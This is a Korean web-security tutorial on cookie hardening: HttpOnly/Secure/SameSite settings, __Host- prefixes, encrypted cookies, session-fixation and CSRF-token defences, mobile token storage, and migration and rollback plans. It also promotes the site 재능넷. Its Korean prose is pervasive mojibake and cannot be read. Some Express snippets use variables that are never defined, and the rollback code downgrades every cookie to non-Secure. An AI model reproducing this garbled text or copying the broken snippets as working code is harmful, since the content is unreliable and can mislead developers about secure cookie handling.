โข ์ฟ ํค ๊ฐ ์์ฒด๋ฅผ ์ํธํํด์ ์ถ๊ฐ ๋ณด์
โข ๋๋ฐ์ด์ค ์ง๋ฌธ(fingerprinting)๊ณผ ๊ฒฐํฉ
โข ์ด์ ๋ก๊ทธ์ธ ํจํด ๊ฐ์ง ์์คํ
์ฟ ํค ์ค์ :
โข HttpOnly: โ (์ธ์ )
โข Secure: โ
โข SameSite: Lax
โข ์ถ๊ฐ: ์ฅ๋ฐ๊ตฌ๋์ฉ ๋ณ๋ ์ฟ ํค
ํน์ง:
โข ์ธ์ ์ฟ ํค์ ์ฅ๋ฐ๊ตฌ๋ ์ฟ ํค ๋ถ๋ฆฌ
โข ๊ฒฐ์ ํ์ด์ง์์ ์ถ๊ฐ ์ธ์ฆ
โข ์ฟ ํค ๋ง๋ฃ ์๊ฐ์ ์งง๊ฒ ์ค์
โข ์๋ ๋ก๊ทธ์์ ๊ธฐ๋ฅ
๊ธ์ต๊ถ ๋ณด์ ํ์ค
์ํ์ด๋ ๊ธ์ต ์๋น์ค๋ ๋ ์๊ฒฉํ ๋ณด์ ๊ธฐ์ค์ ์ ์ฉํด. ๐ฐํ์ ์ค์ :
โข HttpOnly: โ ํ์
โข Secure: โ ํ์
โข SameSite: Strict ๊ถ์ฅ
โข ๋ง๋ฃ ์๊ฐ: 15๋ถ ์ด๋ด (idle timeout)
โข ์ ๋ ๋ง๋ฃ: 30๋ถ ์ด๋ด
์ถ๊ฐ ๋ณด์ ์กฐ์น:
โข ์ฟ ํค ๊ฐ ์ํธํ
โข IP ์ฃผ์ ๊ฒ์ฆ
โข User-Agent ๊ฒ์ฆ
โข 2๋จ๊ณ ์ธ์ฆ (2FA)
โข ๊ฑฐ๋ ์ ์ถ๊ฐ ์ธ์ฆ
โข ์ธ์ ๊ณ ์ ๊ณต๊ฒฉ ๋ฐฉ์ด
โข ๋์ ๋ก๊ทธ์ธ ์ ํ
๊ท์ ์ค์:
โข PCI DSS (Payment Card Industry Data Security Standard)
โข ์ ์๊ธ์ต๊ฐ๋ ๊ท์
โข ๊ฐ์ธ์ ๋ณด๋ณดํธ๋ฒ
โข GDPR (์ ๋ฝ)
์ฌ๋ฅ๋ท์์์ ์ฟ ํค ๋ณด์ ์ ์ฉ
์ฌ๋ฅ ๊ณต์ ํ๋ซํผ์ธ ์ฌ๋ฅ๋ท(https://www.jaenung.net)์์๋ ์ฟ ํค ๋ณด์์ ๋งค์ฐ ์ค์ํด! ์ฌ์ฉ์๋ค์ ์ฌ๋ฅ ๊ฑฐ๋ ์ ๋ณด์ ๊ฐ์ธ์ ๋ณด๋ฅผ ๋ณดํธํ๊ธฐ ์ํด์๋ ์ฒ ์ ํ ์ฟ ํค ๋ณด์ ์ค์ ์ด ํ์์ผ. ๐1. ์ฌ์ฉ์ ์ธ์ ๊ด๋ฆฌ
โข ๋ก๊ทธ์ธ ์ธ์ : HttpOnly + Secure + SameSite=Lax
โข ์๋ ๋ก๊ทธ์ธ: ๋ณ๋์ remember-me ํ ํฐ ์ฌ์ฉ
โข ์ธ์ ๋ง๋ฃ: ํ๋ ์์ ์ 30๋ถ
2. ๊ฑฐ๋ ๋ณด์
โข ๊ฒฐ์ ํ์ด์ง: SameSite=Strict๋ก ๊ฐํ
โข ๊ฑฐ๋ ํ์ธ: ์ถ๊ฐ ์ธ์ฆ ๋จ๊ณ
โข ๋ฏผ๊ฐํ ์ ๋ณด๋ ์ฟ ํค์ ์ ์ฅํ์ง ์๊ธฐ
3. ์ฌ์ฉ์ ๊ฒฝํ
โข ์ฅ๋ฐ๊ตฌ๋/์์๋ฆฌ์คํธ: ๊ธด ๋ง๋ฃ ์๊ฐ (30์ผ)
โข ์ธ์ด/ํ ๋ง ์ค์ : HttpOnly ๋ถํ์
โข ์ต๊ทผ ๋ณธ ์ฌ๋ฅ: ๋ก์ปฌ์คํ ๋ฆฌ์ง ํ์ฉ ๊ณ ๋ ค
4. ํฌ๋ก์ค ๋๋ฉ์ธ ๊ณ ๋ ค
โข ์๋ธ๋๋ฉ์ธ ๊ฐ ์ฟ ํค ๊ณต์ ํ์ ์ Domain ์ค์
โข API ์๋ฒ์์ ํต์ : CORS ์ค์ ๊ณผ ํจ๊ป ๊ณ ๋ ค
โข ์ธ๋ถ ๊ฒฐ์ ๋ชจ๋: SameSite=None ํ์ํ ์ ์์
๐ ๊ณ ๊ธ ์ฟ ํค ๋ณด์ ๊ธฐ๋ฒ
์ฟ ํค ์ ๋์ฌ (Cookie Prefixes)
Chrome๊ณผ Firefox์์ ์ง์ํ๋ ์ถ๊ฐ ๋ณด์ ๊ธฐ๋ฅ์ด์ผ! ๐์ฟ ํค ์ด๋ฆ์ด __Secure-๋ก ์์ํ๋ฉด, ๋ธ๋ผ์ฐ์ ๋ ์๋์ผ๋ก Secure ํ๋๊ทธ๋ฅผ ์๊ตฌํด.
// ์๋์ผ๋ก Secure๊ฐ ํ์ํจ
res.cookie('__Secure-sessionId', 'value', {
secure: true, // ํ์!
httpOnly: true,
sameSite: 'lax'
});
// HTTP์์๋ ์ค์ ๋ถ๊ฐ
// HTTPS์์๋ง ์๋๐ฏ __Host- ์ ๋์ฌ
๋ ์๊ฒฉํ ๋ณด์! __Host- ์ ๋์ฌ๋:
โข Secure ํ๋๊ทธ ํ์
โข Domain ์์ฑ ๋ถ๊ฐ (ํ์ฌ ํธ์คํธ๋ง)
โข Path๋ / ์ด์ด์ผ ํจ
res.cookie('__Host-sessionId', 'value', {
secure: true, // ํ์
httpOnly: true,
sameSite: 'strict',
path: '/' // ํ์
// domain ์ค์ ๋ถ๊ฐ!
});
// ์๋ธ๋๋ฉ์ธ ๊ณต์ ๋ถ๊ฐ
// ์ต๊ณ ์์ค์ ๋ณด์์ฅ์ :
โข ์ฟ ํค ์ฃผ์ ๊ณต๊ฒฉ ๋ฐฉ์ด
โข ์๋ธ๋๋ฉ์ธ ๊ณต๊ฒฉ ๋ฐฉ์ด
โข ๋ช ํํ ๋ณด์ ์๋ ํํ
์ฟ ํค ์ํธํ
์ฟ ํค ๊ฐ ์์ฒด๋ฅผ ์ํธํํด์ ์ถ๊ฐ ๋ณด์์ ์ ๊ณตํ ์ ์์ด! ๐const crypto = require('crypto');
// ์ํธํ ํจ์
function encryptCookie(value, secret) {
const algorithm = 'aes-256-gcm';
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(
algorithm,
Buffer.from(secret, 'hex'),
iv
);
let encrypted = cipher.update(value, 'utf8', 'hex');
encrypted += cipher.final('hex');
const authTag = cipher.getAuthTag();
return {
encrypted,
iv: iv.toString('hex'),
authTag: authTag.toString('hex')
};
}
// ๋ณตํธํ ํจ์
function decryptCookie(encrypted, iv, authTag, secret) {
const algorithm = 'aes-256-gcm';
const decipher = crypto.createDecipheriv(
algorithm,
Buffer.from(secret, 'hex'),
Buffer.from(iv, 'hex')
);
decipher.setAuthTag(Buffer.from(authTag, 'hex'));
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
// ์ฌ์ฉ ์์
app.post('/login', (req, res) => {
const sessionData = JSON.stringify({
userId: user.id,
username: user.username,
timestamp: Date.now()
});
const secret = process.env.COOKIE_SECRET;
const { encrypted, iv, authTag } = encryptCookie(sessionData, secret);
// ์ํธํ๋ ๋ฐ์ดํฐ๋ฅผ ์ฟ ํค์ ์ ์ฅ
res.cookie('session', JSON.stringify({ encrypted, iv, authTag }), {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
res.json({ success: true });
});
// ์ฟ ํค ์ฝ๊ธฐ
app.get('/profile', (req, res) => {
try {
const cookieData = JSON.parse(req.cookies.session);
const secret = process.env.COOKIE_SECRET;
const decrypted = decryptCookie(
cookieData.encrypted,
cookieData.iv,
cookieData.authTag,
secret
);
const sessionData = JSON.parse(decrypted);
res.json(sessionData);
} catch (error) {
res.status(401).json({ error: '์ ํจํ์ง ์์ ์ธ์
' });
}
});์ฅ์ :
โข ์ฟ ํค ๊ฐ์ด ๋ ธ์ถ๋์ด๋ ๋ด์ฉ์ ์ ์ ์์
โข ์ฟ ํค ๋ณ์กฐ ๊ฐ์ง ๊ฐ๋ฅ
โข ์ถ๊ฐ ๋ณด์ ๋ ์ด์ด
๋จ์ :
โข ์ฑ๋ฅ ์ค๋ฒํค๋
โข ์ฟ ํค ํฌ๊ธฐ ์ฆ๊ฐ
โข ๊ตฌํ ๋ณต์ก๋ ์ฆ๊ฐ
์ธ์ ๊ณ ์ ๊ณต๊ฒฉ ๋ฐฉ์ด
๋ก๊ทธ์ธ ์ ์ธ์ ID๋ฅผ ์ฌ์์ฑํด์ ์ธ์ ๊ณ ์ ๊ณต๊ฒฉ์ ๋ง์ ์ ์์ด! ๐ก๏ธ๊ณต๊ฒฉ์๊ฐ ๋ฏธ๋ฆฌ ์๊ณ ์๋ ์ธ์ ID๋ฅผ ํผํด์์๊ฒ ์ฌ์ฉํ๊ฒ ๋ง๋ค์ด์, ํผํด์๊ฐ ๋ก๊ทธ์ธํ ํ ๊ทธ ์ธ์ ์ ํ์ทจํ๋ ๊ณต๊ฒฉ์ด์ผ.
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
1. ๊ณต๊ฒฉ์๊ฐ ์ฌ์ดํธ์ ์ ์ํด์ ์ธ์ ID๋ฅผ ๋ฐ์
2. ํผํด์์๊ฒ ๊ทธ ์ธ์ ID๋ฅผ ์ฌ์ฉํ๊ฒ ๋ง๋ฆ (๋งํฌ ๋ฑ)
3. ํผํด์๊ฐ ๋ก๊ทธ์ธ
4. ๊ณต๊ฒฉ์๊ฐ ๊ฐ์ ์ธ์ ID๋ก ์ ์ํ๋ฉด ๋ก๊ทธ์ธ๋ ์ํ!
โ ๋ฐฉ์ด ๋ฐฉ๋ฒ:
// Express ์์
app.post('/login', (req, res) => {
const { username, password } = req.body;
// ์ฌ์ฉ์ ์ธ์ฆ
const user = authenticateUser(username, password);
if (user) {
// ๊ธฐ์กด ์ธ์
ํ๊ดด
req.session.destroy((err) => {
if (err) {
return res.status(500).json({ error: '๋ก๊ทธ์ธ ์คํจ' });
}
// ์๋ก์ด ์ธ์
์์ฑ
req.session.regenerate((err) => {
if (err) {
return res.status(500).json({ error: '๋ก๊ทธ์ธ ์คํจ' });
}
// ์ ์ธ์
์ ์ฌ์ฉ์ ์ ๋ณด ์ ์ฅ
req.session.userId = user.id;
req.session.username = user.username;
res.json({ success: true });
});
});
} else {
res.status(401).json({ error: '์ธ์ฆ ์คํจ' });
}
});
CSRF ํ ํฐ๊ณผ ์ฟ ํค ์กฐํฉ
SameSite๋ง์ผ๋ก ๋ถ์กฑํ๋ค๋ฉด CSRF ํ ํฐ์ ์ถ๊ฐ๋ก ์ฌ์ฉํ ์ ์์ด! ๐ฏ1. ์๋ฒ์์ CSRF ํ ํฐ ์์ฑ
const crypto = require('crypto');
// CSRF ํ ํฐ ์์ฑ
function generateCsrfToken() {
return crypto.randomBytes(32).toString('hex');
}
app.get('/api/csrf-token', (req, res) => {
const token = generateCsrfToken();
// ์ธ์
์ ์ ์ฅ
req.session.csrfToken = token;
// ์ฟ ํค๋ก๋ ์ ์ก (Double Submit Cookie ํจํด)
res.cookie('XSRF-TOKEN', token, {
httpOnly: false, // JS์์ ์ฝ์ด์ผ ํจ
secure: true,
sameSite: 'strict'
});
res.json({ token });
});2. ํด๋ผ์ด์ธํธ์์ ํ ํฐ ํฌํจ
// React ์์
async function submitForm(data) {
// ์ฟ ํค์์ CSRF ํ ํฐ ์ฝ๊ธฐ
const csrfToken = getCookie('XSRF-TOKEN');
const response = await fetch('/api/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // ํค๋์ ํฌํจ
},
credentials: 'include', // ์ฟ ํค ํฌํจ
body: JSON.stringify(data)
});
return response.json();
}
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) {
return parts.pop().split(';').shift();
}
}3. ์๋ฒ์์ ํ ํฐ ๊ฒ์ฆ
// CSRF ๊ฒ์ฆ ๋ฏธ๋ค์จ์ด
function verifyCsrfToken(req, res, next) {
const tokenFromHeader = req.headers['x-csrf-token'];
const tokenFromSession = req.session.csrfToken;
const tokenFromCookie = req.cookies['XSRF-TOKEN'];
// Double Submit Cookie ํจํด ๊ฒ์ฆ
if (!tokenFromHeader ||
tokenFromHeader !== tokenFromSession ||
tokenFromHeader !== tokenFromCookie) {
return res.status(403).json({ error: 'CSRF ํ ํฐ ๋ถ์ผ์น' });
}
next();
}
// ๋ณดํธ๋ ๋ผ์ฐํธ์ ์ ์ฉ
app.post('/api/submit', verifyCsrfToken, (req, res) => {
// ์์ ํ ์ฒ๋ฆฌ
res.json({ success: true });
});์ฅ์ :
โข SameSite์ ํจ๊ป ์ฌ์ฉํ๋ฉด ์ต๊ณ ์์ค์ CSRF ๋ฐฉ์ด
โข ์ค๋๋ ๋ธ๋ผ์ฐ์ ์์๋ ์๋
โข ๋ช ์์ ์ธ ๋ณด์ ๊ฒ์ฆ
๋จ์ :
โข ๊ตฌํ ๋ณต์ก๋ ์ฆ๊ฐ
โข ๋ชจ๋ ์์ฒญ์ ํ ํฐ ํฌํจ ํ์
โข ์ํ ๊ด๋ฆฌ ํ์
๐ฑ ๋ชจ๋ฐ์ผ ์ฑ์์์ ์ฟ ํค ๋ณด์
๋ชจ๋ฐ์ผ ํ๊ฒฝ์ ํน์์ฑ
๋ชจ๋ฐ์ผ ์ฑ์์๋ ์น๊ณผ ๋ค๋ฅธ ์ ๊ทผ์ด ํ์ํด! ๐ฑ1. WebView vs Native
โข WebView: ์ผ๋ฐ ์น ์ฟ ํค ์ฌ์ฉ ๊ฐ๋ฅ
โข Native: ์ฟ ํค ๋์ ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ ๊ถ์ฅ
2. ๋ณด์ ์ ์ฅ์
โข iOS: Keychain
โข Android: KeyStore
โข ์ฟ ํค๋ณด๋ค ์์ ํ ์ ์ฅ ๋ฐฉ์
3. ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ
โข JWT (JSON Web Token) ์ฌ์ฉ
โข Refresh Token ํจํด
โข ์ฟ ํค ์์ด๋ ์์ ํ ์ธ์ฆ ๊ฐ๋ฅ
React Native ์์
import AsyncStorage from '@react-native-async-storage/async-storage';
import * as SecureStore from 'expo-secure-store';
// ์์ ํ ํ ํฐ ์ ์ฅ (iOS Keychain, Android KeyStore)
async function saveToken(token) {
try {
await SecureStore.setItemAsync('authToken', token);
} catch (error) {
console.error('ํ ํฐ ์ ์ฅ ์คํจ:', error);
}
}
// ํ ํฐ ์ฝ๊ธฐ
async function getToken() {
try {
return await SecureStore.getItemAsync('authToken');
} catch (error) {
console.error('ํ ํฐ ์ฝ๊ธฐ ์คํจ:', error);
return null;
}
}
// API ์์ฒญ ์ ํ ํฐ ์ฌ์ฉ
async function fetchUserData() {
const token = await getToken();
const response = await fetch('https://api.example.com/user', {
method: 'GET',
headers: {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json'
}
});
return response.json();
}
// ๋ก๊ทธ์ธ
async function login(username, password) {
const response = await fetch('https://api.example.com/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ username, password })
});
const data = await response.json();
if (data.token) {
await saveToken(data.token);
return true;
}
return false;
}
// ๋ก๊ทธ์์
async function logout() {
await SecureStore.deleteItemAsync('authToken');
}
Flutter ์์
import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:http/http.dart' as http;
import 'dart:convert';
class AuthService {
final storage = FlutterSecureStorage();
// ํ ํฐ ์ ์ฅ
Future<void> saveToken(String token) async {
await storage.write(key: 'authToken', value: token);
}
// ํ ํฐ ์ฝ๊ธฐ
Future<String?> getToken() async {
return await storage.read(key: 'authToken');
}
// ๋ก๊ทธ์ธ
Future<bool> login(String username, String password) async {
final response = await http.post(
Uri.parse('https://api.example.com/login'),
headers: {'Content-Type': 'application/json'},
body: jsonEncode({
'username': username,
'password': password,
}),
);
if (response.statusCode == 200) {
final data = jsonDecode(response.body);
await saveToken(data['token']);
return true;
}
return false;
}
// API ์์ฒญ
Future<Map<String, dynamic>> fetchUserData() async {
final token = await getToken();
final response = await http.get(
Uri.parse('https://api.example.com/user'),
headers: {
'Authorization': 'Bearer $token',
'Content-Type': 'application/json',
},
);
return jsonDecode(response.body);
}
// ๋ก๊ทธ์์
Future<void> logout() async {
await storage.delete(key: 'authToken');
}
}
๐ ์ฟ ํค ๋ง์ด๊ทธ๋ ์ด์ ์ ๋ต
๊ธฐ์กด ์์คํ ์ ๋ณด์ ์ ์ฉํ๊ธฐ
์ด๋ฏธ ์ด์ ์ค์ธ ์๋น์ค์ ์ฟ ํค ๋ณด์์ ์ ์ฉํ ๋๋ ์ ์คํด์ผ ํด! ์ฌ์ฉ์ ๊ฒฝํ์ ํด์น์ง ์์ผ๋ฉด์ ๋ณด์์ ๊ฐํํ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์. ๐1๋จ๊ณ: ํํฉ ๋ถ์ (1์ฃผ)
โ๏ธ ํ์ฌ ์ฟ ํค ์ค์ ํ์ธ
โ๏ธ ์ฌ์ฉ ์ค์ธ ์ฟ ํค ๋ชฉ๋ก ์์ฑ
โ๏ธ ๊ฐ ์ฟ ํค์ ์ฉ๋ ํ์
โ๏ธ ๋ณด์ ์ทจ์ฝ์ ์๋ณ
โ๏ธ ์ํฅ ๋ฒ์ ๋ถ์
2๋จ๊ณ: ํ ์คํธ ํ๊ฒฝ ๊ตฌ์ถ (1์ฃผ)
โ๏ธ ์คํ ์ด์ง ํ๊ฒฝ์ ๋ณด์ ์ค์ ์ ์ฉ
โ๏ธ ์๋ํ ํ ์คํธ ์์ฑ
โ๏ธ ๋ค์ํ ์๋๋ฆฌ์ค ํ ์คํธ
โ๏ธ ์ฑ๋ฅ ์ํฅ ์ธก์
3๋จ๊ณ: ์ ์ง์ ๋ฐฐํฌ (2-4์ฃผ)
โ๏ธ HttpOnly ํ๋๊ทธ ๋จผ์ ์ ์ฉ
โ๏ธ Secure ํ๋๊ทธ ์ ์ฉ (HTTPS ํ์)
โ๏ธ SameSite=Lax ์ ์ฉ
โ๏ธ ์ฌ์ฉ์ ํผ๋๋ฐฑ ์์ง
โ๏ธ ๋ฌธ์ ๋ฐ์ ์ ๋กค๋ฐฑ ์ค๋น
4๋จ๊ณ: ๋ชจ๋ํฐ๋ง ๋ฐ ์ต์ ํ (์ง์)
โ๏ธ ์๋ฌ ๋ก๊ทธ ๋ชจ๋ํฐ๋ง
โ๏ธ ์ฌ์ฉ์ ๋ถํธ ์ฌํญ ์์ง
โ๏ธ ๋ณด์ ์ด๋ฒคํธ ์ถ์
โ๏ธ ์ ๊ธฐ์ ์ธ ๋ณด์ ๊ฐ์ฌ
ํธํ์ฑ ์ ์ง ์ ๋ต
1. ์ด์ค ์ฟ ํค ์ ๋ต
// ์๋ก์ด ๋ณด์ ์ฟ ํค์ ๊ธฐ์กด ์ฟ ํค๋ฅผ ๋์์ ์ค์
app.post('/login', (req, res) => {
const sessionId = generateSessionId();
// ์๋ก์ด ๋ณด์ ์ฟ ํค
res.cookie('__Secure-sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
// ๊ธฐ์กด ์ฟ ํค (ํธํ์ฑ ์ ์ง)
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: false, // ์ผ์์ ์ผ๋ก ํ์ฉ
maxAge: 3600000
});
res.json({ success: true });
});
// ์ฝ์ ๋๋ ์ ์ฟ ํค ์ฐ์
app.use((req, res, next) => {
req.sessionId = req.cookies['__Secure-sessionId'] ||
req.cookies['sessionId'];
next();
});2. ์ ์ง์ ๋ง์ด๊ทธ๋ ์ด์
// ์ฌ์ฉ์๋ณ๋ก ์ ์ง์ ์ ์ฉ
app.post('/login', (req, res) => {
const user = authenticateUser(req.body);
// ์ฌ์ฉ์ ID ๊ธฐ๋ฐ์ผ๋ก ์ผ์ ๋น์จ๋ง ์ ์ค์ ์ ์ฉ
const useNewSecurity = (user.id % 100) < 10; // 10%
const cookieOptions = {
httpOnly: true,
secure: useNewSecurity ? true : false,
sameSite: useNewSecurity ? 'strict' : 'lax'
};
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
});3. Feature Flag ํ์ฉ
// ํ๊ฒฝ ๋ณ์๋ ์ค์ ์ผ๋ก ์ ์ด
const ENABLE_STRICT_COOKIES = process.env.ENABLE_STRICT_COOKIES === 'true';
app.use(session({
cookie: {
httpOnly: true,
secure: true,
sameSite: ENABLE_STRICT_COOKIES ? 'strict' : 'lax'
}
}));
// ์ด์ ์ค ์ค์๊ฐ์ผ๋ก on/off ๊ฐ๋ฅ
๋กค๋ฐฑ ๊ณํ
1. ์ฆ์ ๋กค๋ฐฑ ํธ๋ฆฌ๊ฑฐ
โข ๋ก๊ทธ์ธ ์คํจ์จ 20% ์ด์ ์ฆ๊ฐ
โข ์๋ฌ ๋ก๊ทธ ๊ธ์ฆ
โข ๊ณ ๊ฐ ๋ฌธ์ ํญ์ฆ
โข ์ฃผ์ ๊ธฐ๋ฅ ์ฅ์
2. ๋กค๋ฐฑ ์ ์ฐจ
// ๊ธด๊ธ ๋กค๋ฐฑ ์คํฌ๋ฆฝํธ
// rollback-cookies.js
const ROLLBACK_CONFIG = {
httpOnly: true, // ์ด๊ฑด ์ ์ง
secure: false, // ์๋๋๋ก
sameSite: 'lax' // ์๋๋๋ก
};
// ๋ชจ๋ ์ฟ ํค ์ค์ ์ ์ด์ ์ํ๋ก
app.use((req, res, next) => {
res.cookie = function(name, value, options) {
const safeOptions = { ...options, ...ROLLBACK_CONFIG };
return originalCookie.call(this, name, value, safeOptions);
};
next();
});3. ๋ถ๋ถ ๋กค๋ฐฑ
โข ํน์ ๊ธฐ๋ฅ๋ง ๋กค๋ฐฑ
โข ํน์ ์ฌ์ฉ์ ๊ทธ๋ฃน๋ง ๋กค๋ฐฑ
โข ๋ฌธ์ ๊ฐ ๋๋ ์ค์ ๋ง ๋กค๋ฐฑ
4. ์ฌํ ๋ถ์
โข ๋ฌธ์ ์์ธ ํ์
โข ๋ก๊ทธ ๋ถ์
โข ์ฌ์ฉ์ ํผ๋๋ฐฑ ๊ฒํ
โข ๊ฐ์ ๋ฐฉ์ ์๋ฆฝ
๐ ์ฑ๋ฅ ์ต์ ํ
์ฟ ํค ํฌ๊ธฐ ์ต์ ํ
์ฟ ํค๋ ๋ชจ๋ HTTP ์์ฒญ์ ํฌํจ๋๋ฏ๋ก ํฌ๊ธฐ๊ฐ ์ค์ํด! ๐ฆ1. ํ์ํ ์ ๋ณด๋ง ์ ์ฅ
// โ ๋์ ์: ๋ชจ๋ ์ ๋ณด๋ฅผ ์ฟ ํค์
res.cookie('user', JSON.stringify({
id: user.id,
username: user.username,
email: user.email,
profile: user.profile,
preferences: user.preferences,
history: user.history
})); // ๋๋ฌด ํผ!
// โ
์ข์ ์: ID๋ง ์ ์ฅ
res.cookie('userId', user.id, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
// ๋๋จธ์ง ์ ๋ณด๋ ์๋ฒ ์ธ์
์
req.session.user = user;2. ์ฟ ํค ์์ถ
const zlib = require('zlib');
function compressCookie(data) {
const json = JSON.stringify(data);
const compressed = zlib.gzipSync(json);
return compressed.toString('base64');
}
function decompressCookie(compressed) {
const buffer = Buffer.from(compressed, 'base64');
const decompressed = zlib.gunzipSync(buffer);
return JSON.parse(decompressed.toString());
}
// ์ฌ์ฉ
const compressed = compressCookie(userData);
res.cookie('data', compressed, {
httpOnly: true,
secure: true
});3. ์ฟ ํค ๋ถํ
ํฐ ๋ฐ์ดํฐ๋ ์ฌ๋ฌ ์ฟ ํค๋ก ๋ถํ ํ๊ฑฐ๋, ๋ก์ปฌ์คํ ๋ฆฌ์ง ์ฌ์ฉ ๊ณ ๋ ค
์บ์ฑ ์ ๋ต
1. ์ฟ ํค ๋๋ฉ์ธ ์ต์ ํ
โข ์ ์ ๋ฆฌ์์ค๋ ์ฟ ํค ์๋ ๋๋ฉ์ธ์์ ์ ๊ณต
โข CDN ์ฌ์ฉ ์ ์ฟ ํค ์ ์ก ๋ฐฉ์ง
// ์ ์ ๋ฆฌ์์ค์ฉ ๋ณ๋ ๋๋ฉ์ธ
// static.example.com (์ฟ ํค ์์)
// api.example.com (์ฟ ํค ์์)2. ์ฟ ํค ๊ฒฝ๋ก ์ ํ
// ํน์ ๊ฒฝ๋ก์๋ง ์ฟ ํค ์ ์ก
res.cookie('adminSession', sessionId, {
path: '/admin', // /admin ๊ฒฝ๋ก์์๋ง ์ ์ก
httpOnly: true,
secure: true
});
// API ์ ์ฉ ์ฟ ํค
res.cookie('apiToken', token, {
path: '/api', // /api ๊ฒฝ๋ก์์๋ง ์ ์ก
httpOnly: true,
secure: true
});3. ๋ง๋ฃ ์๊ฐ ์ต์ ํ
โข ์ธ์ ์ฟ ํค: ์งง๊ฒ (15-30๋ถ)
โข ๊ธฐ์ตํ๊ธฐ: ๊ธธ๊ฒ (30์ผ)
โข ์ค์ ์ฟ ํค: ๋งค์ฐ ๊ธธ๊ฒ (1๋ )
4. ๋ถํ์ํ ์ฟ ํค ์ ๋ฆฌ
// ์ฃผ๊ธฐ์ ์ผ๋ก ์ค๋๋ ์ฟ ํค ์ญ์
app.use((req, res, next) => {
// ์ฌ์ฉํ์ง ์๋ ์ฟ ํค ์ญ์
const unusedCookies = ['old_session', 'deprecated_token'];
unusedCookies.forEach(name => {
if (req.cookies[name]) {
res.clearCookie(name);
}
});
next();
});
๐ ํ์ต ๋ฆฌ์์ค ๋ฐ ๋๊ตฌ
์ถ์ฒ ํ์ต ์๋ฃ
๋ ๊น์ด ๊ณต๋ถํ๊ณ ์ถ๋ค๋ฉด ์ด ์๋ฃ๋ค์ ์ฐธ๊ณ ํด๋ด! ๐โข MDN Web Docs - HTTP Cookies
โข OWASP Cookie Security
โข RFC 6265 (Cookie ํ์ค)
โข Chrome Platform Status
โข Udemy - Web Security
โข Coursera - Cybersecurity
โข YouTube - OWASP Channel
โข Pluralsight - Security Path
โข Stack Overflow
โข Reddit - r/websecurity
โข OWASP Slack
โข Security StackExchange
์ ์ฉํ ๋๊ตฌ๋ค
1. ๋ธ๋ผ์ฐ์ ํ์ฅ ํ๋ก๊ทธ๋จ
โข EditThisCookie - ์ฟ ํค ํธ์ง
โข Cookie-Editor - ์ฟ ํค ๊ด๋ฆฌ
โข Web Developer - ์ข ํฉ ๋๊ตฌ
2. ๋ณด์ ํ ์คํธ ๋๊ตฌ
โข OWASP ZAP - ๋ฌด๋ฃ ๋ณด์ ์ค์บ๋
โข Burp Suite - ํ๋ก ๋๊ตฌ
โข Nikto - ์น ์๋ฒ ์ค์บ๋
โข sqlmap - SQL ์ธ์ ์ ํ ์คํธ
3. ๋ชจ๋ํฐ๋ง ๋๊ตฌ
โข Sentry - ์๋ฌ ์ถ์
โข LogRocket - ์ธ์ ๋ฆฌํ๋ ์ด
โข New Relic - APM
โข Datadog - ํตํฉ ๋ชจ๋ํฐ๋ง
4. ์จ๋ผ์ธ ๊ฒ์ฌ ๋๊ตฌ
โข Mozilla Observatory
โข Security Headers
โข SSL Labs
โข Qualys SSL Test
์ค์ต ํ๋ก์ ํธ ์์ด๋์ด
ํ๋ก์ ํธ 1: ์์ ํ ๋ก๊ทธ์ธ ์์คํ
โข HttpOnly + Secure + SameSite ์ ์ฉ
โข CSRF ํ ํฐ ๊ตฌํ
โข ์ธ์ ๊ด๋ฆฌ
โข 2๋จ๊ณ ์ธ์ฆ
ํ๋ก์ ํธ 2: ์ฟ ํค ๋ณด์ ํ ์คํฐ
โข ์น์ฌ์ดํธ์ ์ฟ ํค ๋ถ์
โข ๋ณด์ ์ ์ ๊ณ์ฐ
โข ๊ฐ์ ๋ฐฉ์ ์ ์
โข ๋ฆฌํฌํธ ์์ฑ
ํ๋ก์ ํธ 3: ์ฌ๋ฅ ๊ณต์ ํ๋ซํผ (์ฌ๋ฅ๋ท ์คํ์ผ)
โข ์ฌ์ฉ์ ์ธ์ฆ ์์คํ
โข ๊ฑฐ๋ ๋ณด์
โข ๊ฒฐ์ ์ฐ๋
โข ์ฟ ํค ๋ณด์ ์ ์ฉ
ํ๋ก์ ํธ 4: ๋ณด์ ๊ฐ์ฌ ๋๊ตฌ
โข ์๋ํ๋ ์ฟ ํค ๊ฒ์ฌ
โข XSS ํ ์คํธ
โข CSRF ํ ์คํธ
โข ๋ณด๊ณ ์ ์์ฑ
๐ฏ ๋ง๋ฌด๋ฆฌ ๋ฐ ํต์ฌ ์์ฝ
์, ์ฌ๊ธฐ๊น์ง ์ฟ ํค ๋ณด์์ ๋ํด ์ ๋ง ๋ง์ ๋ด์ฉ์ ๋ค๋ค์ด! ๋ง์ง๋ง์ผ๋ก ํต์ฌ๋ง ์ ๋ฆฌํด๋ณผ๊ฒ. ๐๐ ํฉ๊ธ ๊ท์น 5๊ฐ์ง
1๏ธโฃ ์ธ์ ์ฟ ํค๋ ๋ฐ๋์ HttpOnlyXSS ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ์ฒซ ๋ฒ์งธ ๋ฐฉ์ด์ !
2๏ธโฃ ์ด์ ํ๊ฒฝ์์๋ ํญ์ Secure
HTTPS์ ํจ๊ป ์ฌ์ฉํด์ ๋คํธ์ํฌ ์ค๋ํ ๋ฐฉ์ง!
3๏ธโฃ SameSite๋ ์ต์ Lax๋ก ์ค์
CSRF ๊ณต๊ฒฉ์ ๋ง๋ ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ!
